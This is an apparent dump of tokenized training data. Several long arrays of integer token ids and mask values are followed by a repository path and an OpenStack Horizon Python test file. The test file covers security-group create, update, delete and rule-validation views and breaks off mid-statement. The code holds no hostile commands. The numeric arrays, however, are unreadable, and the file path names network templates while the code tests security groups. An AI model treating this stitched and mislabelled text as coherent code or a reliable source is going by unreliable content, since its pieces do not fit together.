26555, 450, 20283, 288, 20283, 63, 873, 63, 521, 275, 620, 8, 697, 1131, 14, 1065, 63, 3009, 8, 1131, 2788, 16, 1527, 845, 566, 267, 587, 26, 288, 20283, 63, 873, 63, 521, 275, 298, 12339, 4657, 23578, 15945, 2845, 577, 775, 3582, 1149, 2, 267, 327, 6540, 652, 543, 314, 1373, 10501, 701, 314, 805, 26, 267, 291, 14, 629, 8, 10983, 63, 873, 63, 521, 12, 586, 1592, 1131, 14, 362, 63, 1224, 63, 873, 63, 521, 8, 10983, 430, 339, 347, 511, 63, 4780, 63, 1224, 63, 873, 63, 521, 8, 277, 304, 267, 408, 697, 1131, 446, 2849, 1817, 334, 1045, 10507, 9, 1678, 900, 15212, 624, 267, 327, 6944, 26, 642, 2295, 20195, 298, 2809, 2, 5246, 402, 267, 327, 664, 63, 1224, 63, 873, 63, 521, 342, 267, 291, 423, 1074, 63, 1224, 63, 873, 63, 521, 480, 3627, 531, 339, 347, 511, 63, 1667, 63, 1224, 63, 873, 63, 521, 8, 277, 304, 267, 408, 697, 1131, 446, 2701, 1817, 334, 889, 10507, 9, 1678, 900, 15212, 624, 267, 327, 6944, 26, 642, 2295, 625, 527, 1061, 298, 403, 2, 5246, 402, 267, 327, 664, 63, 1224, 63, 873, 63, 521, 342, 267, 327, 1218, 2701, 511, 1817, 267, 511, 63, 1224, 275, 298, 2791, 15472, 1481, 2617, 4288, 2, 267, 1592, 1131, 14, 1065, 63, 3009, 480, 8366, 9934, 8036, 2845, 23875, 450, 83, 334, 65, 16429, 2924, 450, 511, 63, 1224, 9, 267, 327, 1255, 314, 511, 26, 267, 291, 423, 1074, 63, 1224, 63, 873, 63, 521, 8, 396, 63, 1224, 9, 267, 327, 5978, 2701, 511, 1817, 267, 1592, 1131, 14, 1065, 63, 3009, 480, 14764, 9934, 450, 83, 2, 450, 511, 63, 1224, 9, 339, 347, 511, 63, 1624, 24, 63, 1548, 63, 8644, 697, 63, 8644, 63, 3494, 63, 4429, 8, 277, 304, 267, 408, 697, 1131, 446, 9094, 13, 24, 315, 2018, 28, 5118, 20784, 697, 28, 5118, 20784, 4887, 6036, 624, 267, 327, 6944, 26, 961, 511, 511, 8491, 12, 4440, 436, 2053, 293, 588, 282, 7937, 267, 327, 1817, 2797, 298, 396, 363, 30628, 363, 1624, 24, 1674, 267, 8201, 63, 262, 63, 1624, 24, 275, 298, 139, 111, 2, 327, 598, 14291, 8201, 315, 9094, 13, 24, 365, 378, 88, 2089, 34, 18, 267, 1592, 1131, 14, 1065, 63, 3009, 480, 8366, 24314, 726, 4392, 9934, 511, 363, 30628, 363, 1624, 24, 334, 88, 1495, 8, 17, 395, 612, 2729, 3008, 8, 18, 430, 6186, 9502, 11543, 2774, 24, 531, 267, 1592, 1131, 14, 1065, 63, 3009, 480, 10258, 12872, 511, 363, 30628, 363, 1624, 24, 334, 88, 12, 612, 9, 13992, 4366, 83, 12, 450, 83, 4186, 334, 5683, 63, 262, 63, 1624, 24, 12, 8201, 63, 262, 63, 1624, 24, 430, 267, 522, 275, 1592, 1131, 14, 1065 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 12235, 14, 199, 3, 1898, 334, 35, 9, 8315, 12, 10219, 12, 9079, 12, 7129, 12, 7760, 12, 6171, 12, 6900, 24354, 14, 199, 3, 199, 3, 12235, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 12235, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 199, 3, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 12235, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 199, 3, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 15673, 13, 13421, 12, 8217, 14, 199, 199, 624, 5072, 2295, 367, 1592, 1131, 3555, 1041, 199, 199, 363, 5792, 363, 275, 7880, 1304, 17351, 199, 199, 504, 13640, 14, 1095, 14, 21148, 492, 9617, 63, 646, 199, 504, 13640, 14, 14239, 492, 1852, 63, 396, 63, 5768, 12, 1255, 63, 396, 63, 5768, 12, 12235, 1746, 199, 199, 697, 1131, 275, 9617, 63, 646, 360, 30628, 14, 10000, 14, 697, 1131, 358, 421, 199, 533, 6957, 4152, 17687, 774, 8, 607, 7597, 1746, 304, 272, 408, 774, 3423, 4048, 370, 314, 1678, 63, 4508, 402, 11200, 6716, 1041, 339, 347, 485, 1074, 63, 1224, 63, 873, 63, 521, 8, 277, 12, 20283, 304, 267, 408, 4433, 805, 370, 1104, 1678, 900, 402, 17916, 5304, 1991, 1041, 267, 687, 13640, 14, 1095, 14, 8473, 492, 4810, 267, 327, 9696, 11200, 1015, 1329, 26, 267, 522, 275, 1592, 1131, 14, 1065, 63, 3009, 480, 4859, 15945, 16060, 267, 12896, 63, 1000, 63, 1023, 275, 522, 59, 16, 1527, 16, 61, 267, 340, 12896, 63, 1000, 63, 1023, 14, 2460, 480, 21, 30946, 288, 327, 11200, 13, 21, 6571, 1621, 18623, 63, 10926, 26, 288, 1827, 275, 408, 4859, 17148, 63, 4961, 4442, 1621, 18623, 63, 10926, 14, 10129, 11344, 717, 6038, 1817, 63, 354, 9569, 83, 7, 2401, 1817, 63, 3629, 9569, 83, 26555, 971, 717, 450, 334, 10983, 12, 4810, 459, 10118, 63, 17873, 63, 2339, 1105, 288, 20283, 63, 873, 63, 521, 275, 620, 8, 697, 1131, 14, 1065, 63, 3009, 8, 1131, 2788, 16, 1527, 16, 566, 267, 916, 12896, 63, 1000, 63, 1023, 14, 2460, 480, 20, 14, 17, 2349, 288, 327, 11200, 13, 20, 14, 17, 965, 652, 641, 3144, 273, 3421, 26, 288, 1827, 275, 408, 19085, 9934, 18460, 29369, 1543, 83, 26555, 450, 20283, 288, 20283, 63, 873, 63, 521, 275, 620, 8, 697, 1131, 14, 1065, 63, 3009, 8, 1131, 2788, 16, 1527, 713, 566, 267, 916, 12896, 63, 1000, 63, 1023, 14, 2460, 480, 20, 14, 16, 2349, 288, 327, 11200, 13, 20, 14, 16, 965, 652, 641, 4119, 273, 3421, 26, 288, 1827, 275, 408, 19085, 9934, 18460, 29369, 1543, 83, 26555, 450, 20283, 288, 20283, 63, 873, 63, 521, 275, 620, 8, 697, 1131, 14, 1065, 63, 3009, 8, 1131, 2788, 16, 1527, 845, 566, 267, 587, 26, 288, 20283, 63, 873, 63, 521, 275, 298, 12339, 4657, 23578, 15945, 2845, 577, 775, 3582, 1149, 2, 267, 327, 6540, 652, 543, 314, 1373, 10501, 701, 314, 805, 26, 267, 291, 14, 629, 8, 10983, 63, 873, 63, 521, 12, 586, 1592, 1131, 14, 362, 63, 1224, 63, 873, 63, 521, 8, 10983, 430, 339, 347, 511, 63, 4780, 63, 1224, 63, 873, 63, 521, 8, 277, 304, 267, 408, 697, 1131, 446, 2849, 1817, 334, 1045, 10507, 9, 1678, 900, 15212, 624, 267, 327, 6944, 26, 642, 2295, 20195, 298, 2809, 2, 5246, 402, 267, 327, 664, 63, 1224, 63, 873, 63, 521, 342, 267, 291, 423, 1074, 63, 1224, 63, 873, 63, 521, 480, 3627, 531, 339, 347, 511, 63, 1667, 63, 1224, 63, 873, 63, 521, 8, 277, 304, 267, 408, 697, 1131, 446, 2701, 1817, 334, 889, 10507, 9, 1678, 900, 15212, 624, 267, 327, 6944, 26, 642, 2295, 625, 527, 1061, 298, 403, 2, 5246, 402, 267, 327, 664, 63, 1224, 63, 873, 63, 521, 342, 267, 327, 1218, 2701, 511, 1817, 267, 511, 63, 1224, 275, 298, 2791, 15472, 1481, 2617, 4288, 2, 267, 1592, 1131, 14, 1065, 63, 3009, 480, 8366, 9934, 8036, 2845, 23875, 450, 83, 334, 65, 16429, 2924, 450, 511, 63, 1224, 9, 267, 327, 1255, 314, 511, 26, 267, 291, 423, 1074, 63, 1224, 63, 873, 63, 521, 8, 396, 63, 1224, 9, 267, 327, 5978, 2701, 511, 1817, 267, 1592, 1131, 14, 1065, 63, 3009, 480, 14764, 9934, 450, 83, 2, 450, 511, 63, 1224, 9, 339, 347, 511, 63, 1624, 24, 63, 1548, 63, 8644, 697, 63, 8644, 63, 3494, 63, 4429, 8, 277, 304, 267, 408, 697, 1131, 446, 9094, 13, 24, 315, 2018, 28, 5118, 20784, 697, 28, 5118, 20784, 4887, 6036, 624, 267, 327, 6944, 26, 961, 511, 511, 8491, 12, 4440, 436, 2053, 293, 588, 282, 7937, 267, 327, 1817, 2797, 298, 396, 363, 30628, 363, 1624, 24, 1674, 267, 8201, 63, 262, 63, 1624, 24, 275, 298, 139, 111, 2, 327, 598, 14291, 8201, 315, 9094, 13, 24, 365, 378, 88, 2089, 34, 18, 267, 1592, 1131, 14, 1065, 63, 3009, 480, 8366, 24314, 726, 4392, 9934, 511, 363, 30628, 363, 1624, 24, 334, 88, 1495, 8, 17, 395, 612, 2729, 3008, 8, 18, 430, 6186, 9502, 11543, 2774, 24, 531, 267, 1592, 1131, 14, 1065, 63, 3009, 480, 10258, 12872, 511, 363, 30628, 363, 1624, 24, 334, 88, 12, 612, 9, 13992, 4366, 83, 12, 450, 83, 4186, 334, 5683, 63, 262, 63, 1624, 24, 12, 8201, 63, 262, 63, 1624, 24, 430, 267, 522, 275, 1592, 1131, 14, 1065, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
xinwu/horizon
openstack_dashboard/dashboards/project/connections/network_template/tests.py
12
34711
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2012 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Copyright 2012 Nebula, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import cgi from django.conf import settings from django.core.urlresolvers import reverse from django import http from mox import IsA # noqa from openstack_dashboard import api from openstack_dashboard.test import helpers as test from openstack_dashboard.dashboards.project.access_and_security.\ security_groups import tables INDEX_URL = reverse('horizon:project:access_and_security:index') SG_CREATE_URL = reverse('horizon:project:access_and_security:' 'security_groups:create') def strip_absolute_base(uri): return uri.split(settings.TESTSERVER, 1)[-1] class SecurityGroupsViewTests(test.TestCase): secgroup_backend = 'nova' def setUp(self): super(SecurityGroupsViewTests, self).setUp() sec_group = self.security_groups.first() self.detail_url = reverse('horizon:project:access_and_security:' 'security_groups:detail', args=[sec_group.id]) self.edit_url = reverse('horizon:project:access_and_security:' 'security_groups:add_rule', args=[sec_group.id]) @test.create_stubs({api.network: ('security_group_rule_create', 'security_group_list', 'security_group_backend')}) def _add_security_group_rule_fixture(self, **kwargs): sec_group = self.security_groups.first() sec_group_list = self.security_groups.list() rule = self.security_group_rules.first() api.network.security_group_backend( IsA(http.HttpRequest)).AndReturn(self.secgroup_backend) api.network.security_group_rule_create( IsA(http.HttpRequest), kwargs.get('sec_group', sec_group.id), kwargs.get('ingress', 'ingress'), kwargs.get('ethertype', 'IPv4'), kwargs.get('ip_protocol', rule.ip_protocol), kwargs.get('from_port', int(rule.from_port)), kwargs.get('to_port', int(rule.to_port)), kwargs.get('cidr', rule.ip_range['cidr']), kwargs.get('security_group', u'%s' % sec_group.id)).AndReturn(rule) api.network.security_group_list( IsA(http.HttpRequest)).AndReturn(sec_group_list) return sec_group, rule @test.create_stubs({api.network: ('security_group_get',)}) def test_update_security_groups_get(self): sec_group = self.security_groups.first() api.network.security_group_get(IsA(http.HttpRequest), sec_group.id).AndReturn(sec_group) self.mox.ReplayAll() res = self.client.get(reverse('horizon:project:access_and_security:' 'security_groups:update', args=[sec_group.id])) self.assertTemplateUsed(res, 'project/access_and_security/security_groups/_update.html') self.assertEqual(res.context['security_group'].name, sec_group.name) @test.create_stubs({api.network: ('security_group_update', 'security_group_get')}) def test_update_security_groups_post(self): sec_group = self.security_groups.get(name="other_group") api.network.security_group_update(IsA(http.HttpRequest), str(sec_group.id), sec_group.name, sec_group.description) \ .AndReturn(sec_group) api.network.security_group_get(IsA(http.HttpRequest), sec_group.id).AndReturn(sec_group) self.mox.ReplayAll() formData = {'method': 'UpdateGroup', 'id': sec_group.id, 'name': sec_group.name, 'description': sec_group.description} update_url = reverse('horizon:project:access_and_security:' 'security_groups:update', args=[sec_group.id]) res = self.client.post(update_url, formData) self.assertRedirectsNoFollow(res, INDEX_URL) def test_create_security_groups_get(self): res = self.client.get(SG_CREATE_URL) self.assertTemplateUsed(res, 'project/access_and_security/security_groups/create.html') @test.create_stubs({api.network: ('security_group_create',)}) def test_create_security_groups_post(self): sec_group = self.security_groups.first() api.network.security_group_create(IsA(http.HttpRequest), sec_group.name, sec_group.description) \ .AndReturn(sec_group) self.mox.ReplayAll() formData = {'method': 'CreateGroup', 'name': sec_group.name, 'description': sec_group.description} res = self.client.post(SG_CREATE_URL, formData) self.assertRedirectsNoFollow(res, INDEX_URL) @test.create_stubs({api.network: ('security_group_create',)}) def test_create_security_groups_post_exception(self): sec_group = self.security_groups.first() api.network.security_group_create(IsA(http.HttpRequest), sec_group.name, sec_group.description) \ .AndRaise(self.exceptions.nova) self.mox.ReplayAll() formData = {'method': 'CreateGroup', 'name': sec_group.name, 'description': sec_group.description} res = self.client.post(SG_CREATE_URL, formData) self.assertMessageCount(error=1) self.assertRedirectsNoFollow(res, INDEX_URL) @test.create_stubs({api.network: ('security_group_create',)}) def test_create_security_groups_post_wrong_name(self): sec_group = self.security_groups.first() fail_name = sec_group.name + ' invalid' self.mox.ReplayAll() formData = {'method': 'CreateGroup', 'name': fail_name, 'description': sec_group.description} res = self.client.post(SG_CREATE_URL, formData) self.assertTemplateUsed(res, 'project/access_and_security/security_groups/create.html') self.assertContains(res, "ASCII") @test.create_stubs({api.network: ('security_group_get',)}) def test_detail_get(self): sec_group = self.security_groups.first() api.network.security_group_get(IsA(http.HttpRequest), sec_group.id).AndReturn(sec_group) self.mox.ReplayAll() res = self.client.get(self.detail_url) self.assertTemplateUsed(res, 'project/access_and_security/security_groups/detail.html') @test.create_stubs({api.network: ('security_group_get',)}) def test_detail_get_exception(self): sec_group = self.security_groups.first() api.network.security_group_get(IsA(http.HttpRequest), sec_group.id) \ .AndRaise(self.exceptions.nova) self.mox.ReplayAll() res = self.client.get(self.detail_url) self.assertRedirectsNoFollow(res, INDEX_URL) def test_detail_add_rule_cidr(self): sec_group, rule = self._add_security_group_rule_fixture( security_group=None) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'port', 'port': rule.from_port, 'rule_menu': rule.ip_protocol, 'cidr': rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertRedirectsNoFollow(res, self.detail_url) def test_detail_add_rule_cidr_with_invalid_unused_fields(self): sec_group, rule = self._add_security_group_rule_fixture( security_group=None) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'port', 'port': rule.from_port, 'to_port': 'INVALID', 'from_port': 'INVALID', 'icmp_code': 'INVALID', 'icmp_type': 'INVALID', 'security_group': 'INVALID', 'ip_protocol': 'INVALID', 'rule_menu': rule.ip_protocol, 'cidr': rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertNoFormErrors(res) self.assertRedirectsNoFollow(res, self.detail_url) def test_detail_add_rule_securitygroup_with_invalid_unused_fields(self): sec_group, rule = self._add_security_group_rule_fixture( cidr=None, ethertype='') self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'port', 'port': rule.from_port, 'to_port': 'INVALID', 'from_port': 'INVALID', 'icmp_code': 'INVALID', 'icmp_type': 'INVALID', 'security_group': sec_group.id, 'ip_protocol': 'INVALID', 'rule_menu': rule.ip_protocol, 'cidr': 'INVALID', 'remote': 'sg'} res = self.client.post(self.edit_url, formData) self.assertNoFormErrors(res) self.assertRedirectsNoFollow(res, self.detail_url) def test_detail_add_rule_icmp_with_invalid_unused_fields(self): sec_group, rule = self._add_security_group_rule_fixture( ip_protocol='icmp', security_group=None) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'port', 'port': 'INVALID', 'to_port': 'INVALID', 'from_port': 'INVALID', 'icmp_code': rule.to_port, 'icmp_type': rule.from_port, 'security_group': sec_group.id, 'ip_protocol': 'INVALID', 'rule_menu': 'icmp', 'cidr': rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertNoFormErrors(res) self.assertRedirectsNoFollow(res, self.detail_url) @test.create_stubs({api.network: ('security_group_rule_create', 'security_group_list', 'security_group_backend')}) def test_detail_add_rule_cidr_with_template(self): sec_group = self.security_groups.first() sec_group_list = self.security_groups.list() rule = self.security_group_rules.first() api.network.security_group_backend( IsA(http.HttpRequest)).AndReturn(self.secgroup_backend) api.network.security_group_rule_create(IsA(http.HttpRequest), sec_group.id, 'ingress', 'IPv4', rule.ip_protocol, int(rule.from_port), int(rule.to_port), rule.ip_range['cidr'], None).AndReturn(rule) api.network.security_group_list( IsA(http.HttpRequest)).AndReturn(sec_group_list) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'rule_menu': 'http', 'port_or_range': 'port', 'cidr': rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertRedirectsNoFollow(res, self.detail_url) def _get_source_group_rule(self): return self.security_group_rules.get(id=3) @test.create_stubs({api.network: ('security_group_rule_create', 'security_group_list', 'security_group_backend')}) def test_detail_add_rule_self_as_source_group(self): sec_group = self.security_groups.first() sec_group_list = self.security_groups.list() rule = self._get_source_group_rule() api.network.security_group_backend( IsA(http.HttpRequest)).AndReturn(self.secgroup_backend) api.network.security_group_rule_create( IsA(http.HttpRequest), sec_group.id, 'ingress', # ethertype is empty for source_group of Nova Security Group '', rule.ip_protocol, int(rule.from_port), int(rule.to_port), None, u'%s' % sec_group.id).AndReturn(rule) api.network.security_group_list( IsA(http.HttpRequest)).AndReturn(sec_group_list) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'port', 'port': rule.from_port, 'rule_menu': rule.ip_protocol, 'cidr': '0.0.0.0/0', 'security_group': sec_group.id, 'remote': 'sg'} res = self.client.post(self.edit_url, formData) self.assertRedirectsNoFollow(res, self.detail_url) @test.create_stubs({api.network: ('security_group_rule_create', 'security_group_list', 'security_group_backend')}) def test_detail_add_rule_self_as_source_group_with_template(self): sec_group = self.security_groups.first() sec_group_list = self.security_groups.list() rule = self._get_source_group_rule() api.network.security_group_backend( IsA(http.HttpRequest)).AndReturn(self.secgroup_backend) api.network.security_group_rule_create( IsA(http.HttpRequest), sec_group.id, 'ingress', # ethertype is empty for source_group of Nova Security Group '', rule.ip_protocol, int(rule.from_port), int(rule.to_port), None, u'%s' % sec_group.id).AndReturn(rule) api.network.security_group_list( IsA(http.HttpRequest)).AndReturn(sec_group_list) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'rule_menu': 'http', 'port_or_range': 'port', 'cidr': '0.0.0.0/0', 'security_group': sec_group.id, 'remote': 'sg'} res = self.client.post(self.edit_url, formData) self.assertRedirectsNoFollow(res, self.detail_url) @test.create_stubs({api.network: ('security_group_list', 'security_group_backend')}) def test_detail_invalid_port(self): sec_group = self.security_groups.first() sec_group_list = self.security_groups.list() rule = self.security_group_rules.first() api.network.security_group_backend( IsA(http.HttpRequest)).AndReturn(self.secgroup_backend) api.network.security_group_list( IsA(http.HttpRequest)).AndReturn(sec_group_list) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'port', 'port': None, 'rule_menu': rule.ip_protocol, 'cidr': rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertNoMessages() self.assertContains(res, "The specified port is invalid") @test.create_stubs({api.network: ('security_group_list', 'security_group_backend')}) def test_detail_invalid_port_range(self): sec_group = self.security_groups.first() sec_group_list = self.security_groups.list() rule = self.security_group_rules.first() for i in range(3): api.network.security_group_backend( IsA(http.HttpRequest)).AndReturn(self.secgroup_backend) api.network.security_group_list( IsA(http.HttpRequest)).AndReturn(sec_group_list) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'range', 'from_port': rule.from_port, 'to_port': int(rule.from_port) - 1, 'rule_menu': rule.ip_protocol, 'cidr': rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertNoMessages() self.assertContains(res, "greater than or equal to") formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'range', 'from_port': None, 'to_port': rule.to_port, 'rule_menu': rule.ip_protocol, 'cidr': rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertNoMessages() self.assertContains(res, cgi.escape('"from" port number is invalid', quote=True)) formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'range', 'from_port': rule.from_port, 'to_port': None, 'rule_menu': rule.ip_protocol, 'cidr': rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertNoMessages() self.assertContains(res, cgi.escape('"to" port number is invalid', quote=True)) @test.create_stubs({api.network: ('security_group_get', 'security_group_list', 'security_group_backend')}) def test_detail_invalid_icmp_rule(self): sec_group = self.security_groups.first() sec_group_list = self.security_groups.list() icmp_rule = self.security_group_rules.list()[1] # Call POST 4 times for i in range(4): api.network.security_group_backend( IsA(http.HttpRequest)).AndReturn(self.secgroup_backend) api.network.security_group_list( IsA(http.HttpRequest)).AndReturn(sec_group_list) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'port', 'icmp_type': 256, 'icmp_code': icmp_rule.to_port, 'rule_menu': icmp_rule.ip_protocol, 'cidr': icmp_rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertNoMessages() self.assertContains(res, "The ICMP type not in range (-1, 255)") formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'port', 'icmp_type': icmp_rule.from_port, 'icmp_code': 256, 'rule_menu': icmp_rule.ip_protocol, 'cidr': icmp_rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertNoMessages() self.assertContains(res, "The ICMP code not in range (-1, 255)") formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'port', 'icmp_type': icmp_rule.from_port, 'icmp_code': None, 'rule_menu': icmp_rule.ip_protocol, 'cidr': icmp_rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertNoMessages() self.assertContains(res, "The ICMP code is invalid") formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'port', 'icmp_type': None, 'icmp_code': icmp_rule.to_port, 'rule_menu': icmp_rule.ip_protocol, 'cidr': icmp_rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertNoMessages() self.assertContains(res, "The ICMP type is invalid") @test.create_stubs({api.network: ('security_group_rule_create', 'security_group_list', 'security_group_backend')}) def test_detail_add_rule_exception(self): sec_group = self.security_groups.first() sec_group_list = self.security_groups.list() rule = self.security_group_rules.first() api.network.security_group_backend( IsA(http.HttpRequest)).AndReturn(self.secgroup_backend) api.network.security_group_rule_create( IsA(http.HttpRequest), sec_group.id, 'ingress', 'IPv4', rule.ip_protocol, int(rule.from_port), int(rule.to_port), rule.ip_range['cidr'], None).AndRaise(self.exceptions.nova) api.network.security_group_list( IsA(http.HttpRequest)).AndReturn(sec_group_list) self.mox.ReplayAll() formData = {'method': 'AddRule', 'id': sec_group.id, 'port_or_range': 'port', 'port': rule.from_port, 'rule_menu': rule.ip_protocol, 'cidr': rule.ip_range['cidr'], 'remote': 'cidr'} res = self.client.post(self.edit_url, formData) self.assertRedirectsNoFollow(res, self.detail_url) @test.create_stubs({api.network: ('security_group_rule_delete',)}) def test_detail_delete_rule(self): sec_group = self.security_groups.first() rule = self.security_group_rules.first() api.network.security_group_rule_delete(IsA(http.HttpRequest), rule.id) self.mox.ReplayAll() form_data = {"action": "rules__delete__%s" % rule.id} req = self.factory.post(self.edit_url, form_data) kwargs = {'security_group_id': sec_group.id} table = tables.RulesTable(req, sec_group.rules, **kwargs) handled = table.maybe_handle() self.assertEqual(strip_absolute_base(handled['location']), self.detail_url) @test.create_stubs({api.network: ('security_group_rule_delete',)}) def test_detail_delete_rule_exception(self): sec_group = self.security_groups.first() rule = self.security_group_rules.first() api.network.security_group_rule_delete( IsA(http.HttpRequest), rule.id).AndRaise(self.exceptions.nova) self.mox.ReplayAll() form_data = {"action": "rules__delete__%s" % rule.id} req = self.factory.post(self.edit_url, form_data) kwargs = {'security_group_id': sec_group.id} table = tables.RulesTable( req, self.security_group_rules.list(), **kwargs) handled = table.maybe_handle() self.assertEqual(strip_absolute_base(handled['location']), self.detail_url) @test.create_stubs({api.network: ('security_group_delete',)}) def test_delete_group(self): sec_group = self.security_groups.get(name="other_group") api.network.security_group_delete(IsA(http.HttpRequest), sec_group.id) self.mox.ReplayAll() form_data = {"action": "security_groups__delete__%s" % sec_group.id} req = self.factory.post(INDEX_URL, form_data) table = tables.SecurityGroupsTable(req, self.security_groups.list()) handled = table.maybe_handle() self.assertEqual(strip_absolute_base(handled['location']), INDEX_URL) @test.create_stubs({api.network: ('security_group_delete',)}) def test_delete_group_exception(self): sec_group = self.security_groups.get(name="other_group") api.network.security_group_delete( IsA(http.HttpRequest), sec_group.id).AndRaise(self.exceptions.nova) self.mox.ReplayAll() form_data = {"action": "security_groups__delete__%s" % sec_group.id} req = self.factory.post(INDEX_URL, form_data) table = tables.SecurityGroupsTable(req, self.security_groups.list()) handled = table.maybe_handle() self.assertEqual(strip_absolute_base(handled['location']), INDEX_URL) class SecurityGroupsNovaNeutronDriverTests(SecurityGroupsViewTests): secgroup_backend = 'nova' def setUp(self): super(SecurityGroupsNovaNeutronDriverTests, self).setUp() self._sec_groups_orig = self.security_groups self.security_groups = self.security_groups_uuid self._sec_group_rules_orig = self.security_group_rules self.security_group_rules = self.security_group_rules_uuid sec_group = self.security_groups.first() self.detail_url = reverse('horizon:project:access_and_security:' 'security_groups:detail', args=[sec_group.id]) self.edit_url = reverse('horizon:project:access_and_security:' 'security_groups:add_rule', args=[sec_group.id]) def tearDown(self): self.security_groups = self._sec_groups_orig self.security_group_rules = self._sec_group_rules_orig super(SecurityGroupsNovaNeutronDriverTests, self).tearDown() class SecurityGroupsNeutronTests(SecurityGroupsViewTests): secgroup_backend = 'neutron' def setUp(self): super(SecurityGroupsNeutronTests, self).setUp() self._sec_groups_orig = self.security_groups self.security_groups = self.q_secgroups self._sec_group_rules_orig = self.security_group_rules self.security_group_rules = self.q_secgroup_rules sec_group = self.security_groups.first() self.detail_url = 